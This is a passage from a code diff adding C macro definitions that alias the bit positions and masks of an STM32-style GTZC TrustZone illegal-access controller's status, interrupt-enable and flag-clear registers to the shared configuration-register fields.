GTZC_TZIC1_IER4_MPCBB1_REG_Pos GTZC_CFGR4_MPCBB1_REG_Pos +#define GTZC_TZIC1_IER4_MPCBB1_REG_Msk GTZC_CFGR4_MPCBB1_REG_Msk +#define GTZC_TZIC1_IER4_SRAM2_Pos GTZC_CFGR4_SRAM2_Pos +#define GTZC_TZIC1_IER4_SRAM2_Msk GTZC_CFGR4_SRAM2_Msk +#define GTZC_TZIC1_IER4_MPCBB2_REG_Pos GTZC_CFGR4_MPCBB2_REG_Pos +#define GTZC_TZIC1_IER4_MPCBB2_REG_Msk GTZC_CFGR4_MPCBB2_REG_Msk +#define GTZC_TZIC1_IER4_SRAM3_Pos GTZC_CFGR4_SRAM3_Pos +#define GTZC_TZIC1_IER4_SRAM3_Msk GTZC_CFGR4_SRAM3_Msk +#define GTZC_TZIC1_IER4_MPCBB3_REG_Pos GTZC_CFGR4_MPCBB3_REG_Pos +#define GTZC_TZIC1_IER4_MPCBB3_REG_Msk GTZC_CFGR4_MPCBB3_REG_Msk + +/******************* Bits definition for GTZC_TZIC_SR1 register **************/ +#define GTZC_TZIC1_SR1_TIM2_Pos GTZC_CFGR1_TIM2_Pos +#define GTZC_TZIC1_SR1_TIM2_Msk GTZC_CFGR1_TIM2_Msk +#define GTZC_TZIC1_SR1_TIM3_Pos GTZC_CFGR1_TIM3_Pos +#define GTZC_TZIC1_SR1_TIM3_Msk GTZC_CFGR1_TIM3_Msk +#define GTZC_TZIC1_SR1_TIM4_Pos GTZC_CFGR1_TIM4_Pos +#define GTZC_TZIC1_SR1_TIM4_Msk GTZC_CFGR1_TIM4_Msk +#define GTZC_TZIC1_SR1_TIM5_Pos GTZC_CFGR1_TIM5_Pos +#define GTZC_TZIC1_SR1_TIM5_Msk GTZC_CFGR1_TIM5_Msk +#define GTZC_TZIC1_SR1_TIM6_Pos GTZC_CFGR1_TIM6_Pos +#define GTZC_TZIC1_SR1_TIM6_Msk GTZC_CFGR1_TIM6_Msk +#define GTZC_TZIC1_SR1_TIM7_Pos GTZC_CFGR1_TIM7_Pos +#define GTZC_TZIC1_SR1_TIM7_Msk GTZC_CFGR1_TIM7_Msk +#define GTZC_TZIC1_SR1_TIM12_Pos GTZC_CFGR1_TIM12_Pos +#define GTZC_TZIC1_SR1_TIM12_Msk GTZC_CFGR1_TIM12_Msk +#define GTZC_TZIC1_SR1_WWDG_Pos GTZC_CFGR1_WWDG_Pos +#define GTZC_TZIC1_SR1_WWDG_Msk GTZC_CFGR1_WWDG_Msk +#define GTZC_TZIC1_SR1_IWDG_Pos GTZC_CFGR1_IWDG_Pos +#define GTZC_TZIC1_SR1_IWDG_Msk GTZC_CFGR1_IWDG_Msk +#define GTZC_TZIC1_SR1_SPI2_Pos GTZC_CFGR1_SPI2_Pos +#define GTZC_TZIC1_SR1_SPI2_Msk GTZC_CFGR1_SPI2_Msk +#define GTZC_TZIC1_SR1_SPI3_Pos GTZC_CFGR1_SPI3_Pos +#define GTZC_TZIC1_SR1_SPI3_Msk GTZC_CFGR1_SPI3_Msk +#define GTZC_TZIC1_SR1_USART2_Pos GTZC_CFGR1_USART2_Pos +#define GTZC_TZIC1_SR1_USART2_Msk GTZC_CFGR1_USART2_Msk +#define GTZC_TZIC1_SR1_USART3_Pos GTZC_CFGR1_USART3_Pos +#define GTZC_TZIC1_SR1_USART3_Msk GTZC_CFGR1_USART3_Msk +#define GTZC_TZIC1_SR1_UART4_Pos GTZC_CFGR1_UART4_Pos +#define GTZC_TZIC1_SR1_UART4_Msk GTZC_CFGR1_UART4_Msk +#define GTZC_TZIC1_SR1_UART5_Pos GTZC_CFGR1_UART5_Pos +#define GTZC_TZIC1_SR1_UART5_Msk GTZC_CFGR1_UART5_Msk +#define GTZC_TZIC1_SR1_I2C1_Pos GTZC_CFGR1_I2C1_Pos +#define GTZC_TZIC1_SR1_I2C1_Msk GTZC_CFGR1_I2C1_Msk +#define GTZC_TZIC1_SR1_I2C2_Pos GTZC_CFGR1_I2C2_Pos +#define GTZC_TZIC1_SR1_I2C2_Msk GTZC_CFGR1_I2C2_Msk +#define GTZC_TZIC1_SR1_I3C1_Pos GTZC_CFGR1_I3C1_Pos +#define GTZC_TZIC1_SR1_I3C1_Msk GTZC_CFGR1_I3C1_Msk +#define GTZC_TZIC1_SR1_CRS_Pos GTZC_CFGR1_CRS_Pos +#define GTZC_TZIC1_SR1_CRS_Msk GTZC_CFGR1_CRS_Msk +#define GTZC_TZIC1_SR1_USART6_Pos GTZC_CFGR1_USART6_Pos +#define GTZC_TZIC1_SR1_USART6_Msk GTZC_CFGR1_USART6_Msk +#define GTZC_TZIC1_SR1_HDMICEC_Pos GTZC_CFGR1_HDMICEC_Pos +#define GTZC_TZIC1_SR1_HDMICEC_Msk GTZC_CFGR1_HDMICEC_Msk +#define GTZC_TZIC1_SR1_DAC1_Pos GTZC_CFGR1_DAC1_Pos +#define GTZC_TZIC1_SR1_DAC1_Msk GTZC_CFGR1_DAC1_Msk +#define GTZC_TZIC1_SR1_DTS_Pos GTZC_CFGR1_DTS_Pos +#define GTZC_TZIC1_SR1_DTS_Msk GTZC_CFGR1_DTS_Msk +#define GTZC_TZIC1_SR1_LPTIM2_Pos GTZC_CFGR1_LPTIM2_Pos +#define GTZC_TZIC1_SR1_LPTIM2_Msk GTZC_CFGR1_LPTIM2_Msk + +/******************* Bits definition for GTZC_TZIC_SR2 register **************/ +#define GTZC_TZIC1_SR2_FDCAN1_Pos GTZC_CFGR2_FDCAN1_Pos +#define GTZC_TZIC1_SR2_FDCAN1_Msk GTZC_CFGR2_FDCAN1_Msk +#define GTZC_TZIC1_SR2_FDCAN2_Pos GTZC_CFGR2_FDCAN2_Pos +#define GTZC_TZIC1_SR2_FDCAN2_Msk GTZC_CFGR2_FDCAN2_Msk +#define GTZC_TZIC1_SR2_UCPD1_Pos GTZC_CFGR2_UCPD1_Pos +#define GTZC_TZIC1_SR2_UCPD1_Msk GTZC_CFGR2_UCPD1_Msk +#define GTZC_TZIC1_SR2_TIM1_Pos GTZC_CFGR2_TIM1_Pos +#define GTZC_TZIC1_SR2_TIM1_Msk GTZC_CFGR2_TIM1_Msk +#define GTZC_TZIC1_SR2_SPI1_Pos GTZC_CFGR2_SPI1_Pos +#define GTZC_TZIC1_SR2_SPI1_Msk GTZC_CFGR2_SPI1_Msk +#define GTZC_TZIC1_SR2_TIM8_Pos GTZC_CFGR2_TIM8_Pos +#define GTZC_TZIC1_SR2_TIM8_Msk GTZC_CFGR2_TIM8_Msk +#define GTZC_TZIC1_SR2_USART1_Pos GTZC_CFGR2_USART1_Pos +#define GTZC_TZIC1_SR2_USART1_Msk GTZC_CFGR2_USART1_Msk +#define GTZC_TZIC1_SR2_TIM15_Pos GTZC_CFGR2_TIM15_Pos +#define GTZC_TZIC1_SR2_TIM15_Msk GTZC_CFGR2_TIM15_Msk +#define GTZC_TZIC1_SR2_SPI4_Pos GTZC_CFGR2_SPI4_Pos +#define GTZC_TZIC1_SR2_SPI4_Msk GTZC_CFGR2_SPI4_Msk +#define GTZC_TZIC1_SR2_USB_Pos GTZC_CFGR2_USB_Pos +#define GTZC_TZIC1_SR2_USB_Msk GTZC_CFGR2_USB_Msk +#define GTZC_TZIC1_SR2_LPUART1_Pos GTZC_CFGR2_LPUART1_Pos +#define GTZC_TZIC1_SR2_LPUART1_Msk GTZC_CFGR2_LPUART1_Msk +#define GTZC_TZIC1_SR2_I2C3_Pos GTZC_CFGR2_I2C3_Pos +#define GTZC_TZIC1_SR2_I2C3_Msk GTZC_CFGR2_I2C3_Msk +#define GTZC_TZIC1_SR2_LPTIM1_Pos GTZC_CFGR2_LPTIM1_Pos +#define GTZC_TZIC1_SR2_LPTIM1_Msk GTZC_CFGR2_LPTIM1_Msk + +/******************* Bits definition for GTZC_TZIC_SR3 register **************/ +#define GTZC_TZIC1_SR3_VREFBUF_Pos GTZC_CFGR3_VREFBUF_Pos +#define GTZC_TZIC1_SR3_VREFBUF_Msk GTZC_CFGR3_VREFBUF_Msk +#define GTZC_TZIC1_SR3_I3C2_Pos GTZC_CFGR3_I3C2_Pos +#define GTZC_TZIC1_SR3_I3C2_Msk GTZC_CFGR3_I3C2_Msk +#define GTZC_TZIC1_SR3_CRC_Pos GTZC_CFGR3_CRC_Pos +#define GTZC_TZIC1_SR3_CRC_Msk GTZC_CFGR3_CRC_Msk +#define GTZC_TZIC1_SR3_ICACHE_REG_Pos GTZC_CFGR3_ICACHE_REG_Pos +#define GTZC_TZIC1_SR3_ICACHE_REG_Msk GTZC_CFGR3_ICACHE_REG_Msk +#define GTZC_TZIC1_SR3_DCACHE1_REG_Pos GTZC_CFGR3_DCACHE1_REG_Pos +#define GTZC_TZIC1_SR3_DCACHE1_REG_Msk GTZC_CFGR3_DCACHE1_REG_Msk +#define GTZC_TZIC1_SR3_ADC_Pos GTZC_CFGR3_ADC_Pos +#define GTZC_TZIC1_SR3_ADC_Msk GTZC_CFGR3_ADC_Msk +#define GTZC_TZIC1_SR3_DCMI_PSSI_Pos GTZC_CFGR3_DCMI_PSSI_Pos +#define GTZC_TZIC1_SR3_DCMI_PSSI_Msk GTZC_CFGR3_DCMI_PSSI_Msk +#define GTZC_TZIC1_SR3_AES_Pos GTZC_CFGR3_AES_Pos +#define GTZC_TZIC1_SR3_AES_Msk GTZC_CFGR3_AES_Msk +#define GTZC_TZIC1_SR3_HASH_Pos GTZC_CFGR3_HASH_Pos +#define GTZC_TZIC1_SR3_HASH_Msk GTZC_CFGR3_HASH_Msk +#define GTZC_TZIC1_SR3_RNG_Pos GTZC_CFGR3_RNG_Pos +#define GTZC_TZIC1_SR3_RNG_Msk GTZC_CFGR3_RNG_Msk +#define GTZC_TZIC1_SR3_SAES_Pos GTZC_CFGR3_SAES_Pos +#define GTZC_TZIC1_SR3_SAES_Msk GTZC_CFGR3_SAES_Msk +#define GTZC_TZIC1_SR3_PKA_Pos GTZC_CFGR3_PKA_Pos +#define GTZC_TZIC1_SR3_PKA_Msk GTZC_CFGR3_PKA_Msk +#define GTZC_TZIC1_SR3_SDMMC1_Pos GTZC_CFGR3_SDMMC1_Pos +#define GTZC_TZIC1_SR3_SDMMC1_Msk GTZC_CFGR3_SDMMC1_Msk +#define GTZC_TZIC1_SR3_FMC_REG_Pos GTZC_CFGR3_FMC_REG_Pos +#define GTZC_TZIC1_SR3_FMC_REG_Msk GTZC_CFGR3_FMC_REG_Msk +#define GTZC_TZIC1_SR3_OCTOSPI1_Pos GTZC_CFGR3_OCTOSPI1_Pos +#define GTZC_TZIC1_SR3_OCTOSPI1_Msk GTZC_CFGR3_OCTOSPI1_Msk +#define GTZC_TZIC1_SR3_RAMCFG_Pos GTZC_CFGR3_RAMCFG_Pos +#define GTZC_TZIC1_SR3_RAMCFG_Msk GTZC_CFGR3_RAMCFG_Msk + +/******************* Bits definition for GTZC_TZIC_SR4 register ***************/ +#define GTZC_TZIC1_SR4_GPDMA1_Pos GTZC_CFGR4_GPDMA1_Pos +#define GTZC_TZIC1_SR4_GPDMA1_Msk GTZC_CFGR4_GPDMA1_Msk +#define GTZC_TZIC1_SR4_GPDMA2_Pos GTZC_CFGR4_GPDMA2_Pos +#define GTZC_TZIC1_SR4_GPDMA2_Msk GTZC_CFGR4_GPDMA2_Msk +#define GTZC_TZIC1_SR4_FLASH_Pos GTZC_CFGR4_FLASH_Pos +#define GTZC_TZIC1_SR4_FLASH_Msk GTZC_CFGR4_FLASH_Msk +#define GTZC_TZIC1_SR4_FLASH_REG_Pos GTZC_CFGR4_FLASH_REG_Pos +#define GTZC_TZIC1_SR4_FLASH_REG_Msk GTZC_CFGR4_FLASH_REG_Msk +#define GTZC_TZIC1_SR4_OTFDEC1_Pos GTZC_CFGR4_OTFDEC1_Pos +#define GTZC_TZIC1_SR4_OTFDEC1_Msk GTZC_CFGR4_OTFDEC1_Msk +#define GTZC_TZIC1_SR4_SBS_Pos GTZC_CFGR4_SBS_Pos +#define GTZC_TZIC1_SR4_SBS_Msk GTZC_CFGR4_SBS_Msk +#define GTZC_TZIC1_SR4_RTC_Pos GTZC_CFGR4_RTC_Pos +#define GTZC_TZIC1_SR4_RTC_Msk GTZC_CFGR4_RTC_Msk +#define GTZC_TZIC1_SR4_TAMP_Pos GTZC_CFGR4_TAMP_Pos +#define GTZC_TZIC1_SR4_TAMP_Msk GTZC_CFGR4_TAMP_Msk +#define GTZC_TZIC1_SR4_PWR_Pos GTZC_CFGR4_PWR_Pos +#define GTZC_TZIC1_SR4_PWR_Msk GTZC_CFGR4_PWR_Msk +#define GTZC_TZIC1_SR4_RCC_Pos GTZC_CFGR4_RCC_Pos +#define GTZC_TZIC1_SR4_RCC_Msk GTZC_CFGR4_RCC_Msk +#define GTZC_TZIC1_SR4_EXTI_Pos GTZC_CFGR4_EXTI_Pos +#define GTZC_TZIC1_SR4_EXTI_Msk GTZC_CFGR4_EXTI_Msk +#define GTZC_TZIC1_SR4_TZSC_Pos GTZC_CFGR4_TZSC_Pos +#define GTZC_TZIC1_SR4_TZSC_Msk GTZC_CFGR4_TZSC_Msk +#define GTZC_TZIC1_SR4_TZIC_Pos GTZC_CFGR4_TZIC_Pos +#define GTZC_TZIC1_SR4_TZIC_Msk GTZC_CFGR4_TZIC_Msk +#define GTZC_TZIC1_SR4_OCTOSPI1_MEM_Pos GTZC_CFGR4_OCTOSPI1_MEM_Pos +#define GTZC_TZIC1_SR4_OCTOSPI1_MEM_Msk GTZC_CFGR4_OCTOSPI1_MEM_Msk +#define GTZC_TZIC1_SR4_FMC_MEM_Pos GTZC_CFGR4_FMC_MEM_Pos +#define GTZC_TZIC1_SR4_FMC_MEM_Msk GTZC_CFGR4_FMC_MEM_Msk +#define GTZC_TZIC1_SR4_BKPSRAM_Pos GTZC_CFGR4_BKPSRAM_Pos +#define GTZC_TZIC1_SR4_BKPSRAM_Msk GTZC_CFGR4_BKPSRAM_Msk +#define GTZC_TZIC1_SR4_SRAM1_Pos GTZC_CFGR4_SRAM1_Pos +#define GTZC_TZIC1_SR4_SRAM1_Msk GTZC_CFGR4_SRAM1_Msk +#define GTZC_TZIC1_SR4_MPCBB1_REG_Pos GTZC_CFGR4_MPCBB1_REG_Pos +#define GTZC_TZIC1_SR4_MPCBB1_REG_Msk GTZC_CFGR4_MPCBB1_REG_Msk +#define GTZC_TZIC1_SR4_SRAM2_Pos GTZC_CFGR4_SRAM2_Pos +#define GTZC_TZIC1_SR4_SRAM2_Msk GTZC_CFGR4_SRAM2_Msk +#define GTZC_TZIC1_SR4_MPCBB2_REG_Pos GTZC_CFGR4_MPCBB2_REG_Pos +#define GTZC_TZIC1_SR4_MPCBB2_REG_Msk GTZC_CFGR4_MPCBB2_REG_Msk +#define GTZC_TZIC1_SR4_SRAM3_Pos GTZC_CFGR4_SRAM3_Pos +#define GTZC_TZIC1_SR4_SRAM3_Msk GTZC_CFGR4_SRAM3_Msk +#define GTZC_TZIC1_SR4_MPCBB3_REG_Pos GTZC_CFGR4_MPCBB3_REG_Pos +#define GTZC_TZIC1_SR4_MPCBB3_REG_Msk GTZC_CFGR4_MPCBB3_REG_Msk + +/****************** Bits definition for GTZC_TZIC_FCR1 register ****************/ +#define GTZC_TZIC1_FCR1_TIM2_Pos GTZC_CFGR1_TIM2_Pos +#define GTZC_TZIC1_FCR1_TIM2_Msk GTZC_CFGR1_TIM2_Msk +#define GTZC_TZIC1_FCR1_TIM3_Pos GTZC_CFGR1_TIM3_Pos +#define GTZC_TZIC1_FCR1_TIM3_Msk GTZC_CFGR1_TIM3_Msk +#define GTZC_TZIC1_FCR1_TIM4_Pos GTZC_CFGR1_TIM4_Pos +#define GTZC_TZIC1_FCR1_TIM4_Msk GTZC_CFGR1_TIM4_Msk +#define GTZC_TZIC1_FCR1_TIM5_Pos GTZC_CFGR1_TIM5_Pos +#define GTZC_TZIC1_FCR1_TIM5_Msk GTZC_CFGR1_TIM5_Msk +#define GTZC_TZIC1_FCR1_TIM6_Pos GTZC_CFGR1_TIM6_Pos +#define GTZC_TZIC1_FCR1_TIM6_Msk GTZC_CFGR1_TIM6_Msk +#define GTZC_TZIC1_FCR1_TIM7_Pos GTZC_CFGR1_TIM7_Pos +#define GTZC_TZIC1_FCR1_TIM7_Msk GTZC_CFGR1_TIM7_Msk +#define GTZC_TZIC1_FCR1_TIM12_Pos GTZC_CFGR1_TIM12_Pos +#define GTZC_TZIC1_FCR1_TIM12_Msk GTZC_CFGR1_TIM12_Msk +#define GTZC_TZIC1_FCR1_WWDG_Pos GTZC_CFGR1_WWDG_Pos +#define GTZC_TZIC1_FCR1_WWDG_Msk GTZC_CFGR1_WWDG_Msk +#define GTZC_TZIC1_FCR1_IWDG_Pos GTZC_CFGR1_IWDG_Pos +#define GTZC_TZIC1_FCR1_IWDG_Msk GTZC_CFGR1_IWDG_Msk +#define GTZC_TZIC1_FCR1_SPI2_Pos GTZC_CFGR1_SPI2_Pos +#define GTZC_TZIC1_FCR1_SPI2_Msk GTZC_CFGR1_SPI2_Msk +#define GTZC_TZIC1_FCR1_SPI3_Pos GTZC_CFGR1_SPI3_Pos +#define GTZC_TZIC1_FCR1_SPI3_Msk GTZC_CFGR1_SPI3_Msk +#define GTZC_TZIC1_FCR1_USART2_Pos GTZC_CFGR1_USART2_Pos +#define GTZC_TZIC1_FCR1_USART2_Msk GTZC_CFGR1_USART2_Msk +#define GTZC_TZIC1_FCR1_USART3_Pos GTZC_CFGR1_USART3_Pos +#define GTZC_TZIC1_FCR1_USART3_Msk GTZC_CFGR1_USART3_Msk +#define GTZC_TZIC1_FCR1_UART4_Pos GTZC_CFGR1_UART4_Pos +#define GTZC_TZIC1_FCR1_UART4_Msk GTZC_CFGR1_UART4_Msk +#define GTZC_TZIC1_FCR1_UART5_Pos GTZC_CFGR1_UART5_Pos +#define GTZC_TZIC1_FCR1_UART5_Msk GTZC_CFGR1_UART5_Msk +#define GTZC_TZIC1_FCR1_I2C1_Pos GTZC_CFGR1_I2C1_Pos +#define GTZC_TZIC1_FCR1_I2C1_Msk GTZC_CFGR1_I2C1_Msk +#define GTZC_TZIC1_FCR1_I2C2_Pos GTZC_CFGR1_I2C2_Pos +#define GTZC_TZIC1_FCR1_I2C2_Msk GTZC_CFGR1_I2C2_Msk +#define GTZC_TZIC1_FCR1_I3C1_Pos GTZC_CFGR1_I3C1_Pos +#define GTZC_TZIC1_FCR1_I3C1_Msk GTZC_CFGR1_I3C1_Msk +#define GTZC_TZIC1_FCR1_CRS_Pos GTZC_CFGR1_CRS_Pos +#define GTZC_TZIC1_FCR1_CRS_Msk GTZC_CFGR1_CRS_Msk +#define GTZC_TZIC1_FCR1_USART6_Pos GTZC_CFGR1_USART6_Pos +#define GTZC_TZIC1_FCR1_USART6_Msk GTZC_CFGR1_USART6_Msk +#define GTZC_TZIC1_FCR1_HDMICEC_Pos GTZC_CFGR1_HDMICEC_Pos +#define GTZC_TZIC1_FCR1_HDMICEC_Msk GTZC_CFGR1_HDMICEC_Msk +#define GTZC_TZIC1_FCR1_DAC1_Pos GTZC_CFGR1_DAC1_Pos +#define GTZC_TZIC1_FCR1_DAC1_Msk GTZC_CFGR1_DAC1_Msk +#define GTZC_TZIC1_FCR1_DTS_Pos GTZC_CFGR1_DTS_Pos +#define GTZC_TZIC1_FCR1_DTS_Msk GTZC_CFGR1_DTS_Msk +#define GTZC_TZIC1_FCR1_LPTIM2_Pos GTZC_CFGR1_LPTIM2_Pos +#define GTZC_TZIC1_FCR1_LPTIM2_Msk GTZC_CFGR1_LPTIM2_Msk + +/******************* Bits definition for GTZC_TZIC_FCR2 register **************/ +#define GTZC_TZIC1_FCR2_FDCAN1_Pos GTZC_CFGR2_FDCAN1_Pos +#define GTZC_TZIC1_FCR2_FDCAN1_Msk GTZC_CFGR2_FDCAN1_Msk +#define GTZC_TZIC1_FCR2_FDCAN2_Pos GTZC_CFGR2_FDCAN2_Pos +#define GTZC_TZIC1_FCR2_FDCAN2_Msk GTZC_CFGR2_FDCAN2_Msk +#define GTZC_TZIC1_FCR2_UCPD1_Pos GTZC_CFGR2_UCPD1_Pos +#define GTZC_TZIC1_FCR2_UCPD1_Msk GTZC_CFGR2_UCPD1_Msk +#define GTZC_TZIC1_FCR2_TIM1_Pos GTZC_CFGR2_TIM1_Pos +#define GTZC_TZIC1_FCR2_TIM1_Msk GTZC_CFGR2_TIM1_Msk +#define GTZC_TZIC1_FCR2_SPI1_Pos GTZC_CFGR2_SPI1_Pos +#define GTZC_TZIC1_FCR2_SPI1_Msk GTZC_CFGR2_SPI1_Msk +#define GTZC_TZIC1_FCR2_TIM8_Pos GTZC_CFGR2_TIM8_Pos +#define GTZC_TZIC1_FCR2_TIM8_Msk GTZC_CFGR2_TIM8_Msk +#define GTZC_TZIC1_FCR2_USART1_Pos GTZC_CFGR2_USART1_Pos +#define GTZC_TZIC1_FCR2_USART1_Msk GTZC_CFGR2_USART1_Msk +#define GTZC_TZIC1_FCR2_TIM15_Pos GTZC_CFGR2_TIM15_Pos +#define GTZC_TZIC1_FCR2_TIM15_Msk GTZC_CFGR2_TIM15_Msk +#define GTZC_TZIC1_FCR2_SPI4_Pos GTZC_CFGR2_SPI4_Pos +#define GTZC_TZIC1_FCR2_SPI4_Msk GTZC_CFGR2_SPI4_Msk +#define GTZC_TZIC1_FCR2_USB_Pos GTZC_CFGR2_USB_Pos +#define GTZC_TZIC1_FCR2_USB_Msk GTZC_CFGR2_USB_Msk +#define GTZC_TZIC1_FCR2_LPUART1_Pos GTZC_CFGR2_LPUART1_Pos +#define GTZC_TZIC1_FCR2_LPUART1_Msk GTZC_CFGR2_LPUART1_Msk +#define GTZC_TZIC1_FCR2_I2C3_Pos GTZC_CFGR2_I2C3_Pos +#define GTZC_TZIC1_FCR2_I2C3_Msk GTZC_CFGR2_I2C3_Msk +#define GTZC_TZIC1_FCR2_LPTIM1_Pos GTZC_CFGR2_LPTIM1_Pos +#define GTZC_TZIC1_FCR2_LPTIM1_Msk GTZC_CFGR2_LPTIM1_Msk + +/****************** Bits definition for GTZC_TZIC_FCR3 register ****************/ +#define GTZC_TZIC1_FCR3_VREFBUF_Pos GTZC_CFGR3_VREFBUF_Pos +#define GTZC_TZIC1_FCR3_VREFBUF_Msk GTZC_CFGR3_VREFBUF_Msk +#define GTZC_TZIC1_FCR3_I3C2_Pos GTZC_CFGR3_I3C2_Pos +#define GTZC_TZIC1_FCR3_I3C2_Msk GTZC_CFGR3_I3C2_Msk +#define GTZC_TZIC1_FCR3_CRC_Pos GTZC_CFGR3_CRC_Pos +#define GTZC_TZIC1_FCR3_CRC_Msk GTZC_CFGR3_CRC_Msk +#define GTZC_TZIC1_FCR3_ICACHE_REG_Pos GTZC_CFGR3_ICACHE_REG_Pos +#define GTZC_TZIC1_FCR3_ICACHE_REG_Msk GTZC_CFGR3_ICACHE_REG_Msk +#define GTZC_TZIC1_FCR3_DCACHE1_REG_Pos GTZC_CFGR3_DCACHE1_REG_Pos +#define GTZC_TZIC1_FCR3_DCACHE1_REG_Msk GTZC_CFGR3_DCACHE1_REG_Msk +#define GTZC_TZIC1_FCR3_ADC_Pos GTZC_CFGR3_ADC_Pos +#define GTZC_TZIC1_FCR3_ADC_Msk GTZC_CFGR3_ADC_Msk +#define GTZC_TZIC1_FCR3_DCMI_PSSI_Pos GTZC_CFGR3_DCMI_PSSI_Pos +#define GTZC_TZIC1_FCR3_DCMI_PSSI_Msk GTZC_CFGR3_DCMI_PSSI_Msk +#define GTZC_TZIC1_FCR3_AES_Pos GTZC_CFGR3_AES_Pos +#define GTZC_TZIC1_FCR3_AES_Msk GTZC_CFGR3_AES_Msk +#define GTZC_TZIC1_FCR3_HASH_Pos GTZC_CFGR3_HASH_Pos +#define GTZC_TZIC1_FCR3_HASH_Msk GTZC_CFGR3_HASH_Msk +#define GTZC_TZIC1_FCR3_RNG_Pos GTZC_CFGR3_RNG_Pos +#define GTZC_TZIC1_FCR3_RNG_Msk GTZC_CFGR3_RNG_Msk +#define GTZC_TZIC1_FCR3_SAES_Pos GTZC_CFGR3_SAES_Pos +#define GTZC_TZIC1_FCR3_SAES_Msk GTZC_CFGR3_SAES_Msk +#define GTZC_TZIC1_FCR3_PKA_Pos GTZC_CFGR3_PKA_Pos +#define GTZC_TZIC1_FCR3_PKA_Msk GTZC_CFGR3_PKA_Msk +#define GTZC_TZIC1_FCR3_SDMMC1_Pos GTZC_CFGR3_SDMMC1_Pos +#define GTZC_TZIC1_FCR3_SDMMC1_Msk GTZC_CFGR3_SDMMC1_Msk +#define GTZC_TZIC1_FCR3_FMC_REG_Pos GTZC_CFGR3_FMC_REG_Pos +#define GTZC_TZIC1_FCR3_FMC_REG_Msk GTZC_CFGR3_FMC_REG_Msk +#define GTZC_TZIC1_FCR3_OCTOSPI1_Pos GTZC_CFGR3_OCTOSPI1_Pos +#define GTZC_TZIC1_FCR3_OCTOSPI1_Msk GTZC_CFGR3_OCTOSPI1_Msk +#define GTZC_TZIC1_FCR3_RAMCFG_Pos GTZC_CFGR3_RAMCFG_Pos +#define GTZC_TZIC1_FCR3_RAMCFG_Msk GTZC_CFGR3_RAMCFG_Msk + +/******************* Bits definition for GTZC_TZIC_FCR4 register ***************/ +#define GTZC_TZIC1_FCR4_GPDMA1_Pos GTZC_CFGR4_GPDMA1_Pos +#define GTZC_TZIC1_FCR4_GPDMA1_Msk GTZC_CFGR4_GPDMA1_Msk +#define GTZC_TZIC1_FCR4_GPDMA2_Pos GTZC_CFGR4_GPDMA2_Pos +#define GTZC_TZIC1_FCR4_GPDMA2_Msk GTZC_CFGR4_GPDMA2_Msk +#define GTZC_TZIC1_FCR4_FLASH_Pos GTZC_CFGR4_FLASH_Pos +#define GTZC_TZIC1_FCR4_FLASH_Msk GTZC_CFGR4_FLASH_Msk +#define GTZC_TZIC1_FCR4_FLASH_REG_Pos GTZC_CFGR4_FLASH_REG_Pos +#define GTZC_TZIC1_FCR4_FLASH_REG_Msk GTZC_CFGR4_FLASH_REG_Msk +#define GTZC_TZIC1_FCR4_OTFDEC1_Pos GTZC_CFGR4_OTFDEC1_Pos +#define GTZC_TZIC1_FCR4_OTFDEC1_Msk GTZC_CFGR4_OTFDEC1_Msk +#define GTZC_TZIC1_FCR4_SBS_Pos GTZC_CFGR4_SBS_Pos +#define GTZC_TZIC1_FCR4_SBS_Msk GTZC_CFGR4_SBS_Msk +#define GTZC_TZIC1_FCR4_RTC_Pos GTZC_CFGR4_RTC_Pos +#define GTZC_TZIC1_FCR4_RTC_Msk GTZC_CFGR4_RTC_Msk +#define GTZC_TZIC1_FCR4_TAMP_Pos GTZC_CFGR4_TAMP_Pos +#define GTZC_TZIC1_FCR4_TAMP_Msk GTZC_CFGR4_TAMP_Msk +#define GTZC_TZIC1_FCR4_PWR_Pos GTZC_CFGR4_PWR_Pos +#define GTZC_TZIC1_FCR4_PWR_Msk GTZC_CFGR4_PWR_Msk +#define GTZC_TZIC1_FCR4_RCC_Pos GTZC_CFGR4_RCC_Pos +#define GTZC_TZIC1_FCR4_RCC_Msk GTZC_CFGR4_RCC_Msk +#define GTZC_TZIC1_FCR4_EXTI_Pos GTZC_CFGR4_EXTI_Pos +#define GTZC_TZIC1_FCR4_EXTI_Msk GTZC_CFGR4_EXTI_Msk +#define GTZC_TZIC1_FCR4_TZSC_Pos GTZC_CFGR4_TZSC_Pos +#define GTZC_TZIC1_FCR4_TZSC_Msk GTZC_CFGR4_TZSC_Msk +#define GTZC_TZIC1_FCR4_TZIC_Pos GTZC_CFGR4_TZIC_Pos +#define GTZC_TZIC1_FCR4_TZIC_Msk GTZC_CFGR4_TZIC_Msk +#define GTZC_TZIC1_FCR4_OCTOSPI1_MEM_Pos GTZC_CFGR4_OCTOSPI1_MEM_Pos +#define GTZC_TZIC1_FCR4_OCTOSPI1_MEM_Msk GTZC_CFGR4_OCTOSPI1_MEM_Msk +#define GTZC_TZIC1_FCR4_FMC_MEM_Pos GTZC_CFGR4_FMC_MEM_Pos +#define GTZC_TZIC1_FCR4_FMC_MEM_Msk GTZC_CFGR4_FMC_MEM_Msk +#define GTZC_TZIC1_FCR4_BKPSRAM_Pos GTZC_CFGR4_BKPSRAM_Pos +#define GTZC_TZIC1_FCR4_BKPSRAM_Msk GTZC_CFGR4_BKPSRAM_Msk +#define GTZC_TZIC1_FCR4_SRAM1_Pos GTZC_CFGR4_SRAM1_Pos +#define GTZC_TZIC1_FCR4_SRAM1_Msk GTZC_CFGR4_SRAM1_Msk +#define GTZC_TZIC1_FCR4_MPCBB1_REG_Pos GTZC_CFGR4_MPCBB1_REG_Pos +#define GTZC_TZIC1_FCR4_MPCBB1_REG_Msk GTZC_CFGR4_MPCBB1_REG_Msk +#define GTZC_TZIC1_FCR4_SRAM2_Pos GTZC_CFGR4_SRAM2_Pos +#define GTZC_TZIC1_FCR4_SRAM2_Msk GTZC_CFGR4_SRAM2_Msk +#define GTZC_TZIC1_FCR4_MPCBB2_REG_Pos GTZC_CFGR4_MPCBB2_REG_Pos +#define GTZC_TZIC1_FCR4_MPCBB2_REG_Msk GTZC_CFGR4_MPCBB2_REG_Msk +#define GTZC_TZIC1_FCR4_SRAM3_Pos GTZC_CFGR4_SRAM3_Pos +#define GTZC_TZIC1_FCR4_SRAM3_Msk GTZC_CFGR4_SRAM3_Msk +#define GTZC_TZIC1_FCR4_MPCBB3_REG_Pos GTZC_CFGR4_MPCBB3_REG_Pos +#define GTZC_TZIC1_FCR4_MPCBB3_REG_Msk GTZC_CFGR4_MPCBB3_REG_Msk + +/******************* Bits definition for GTZC_MPCBB_CR register *****************/ +#define GTZC_MPCBB_CR_GLOCK_Pos (0U) +#define GTZC_MPCBB_CR_GLOCK_Msk (0x01UL << 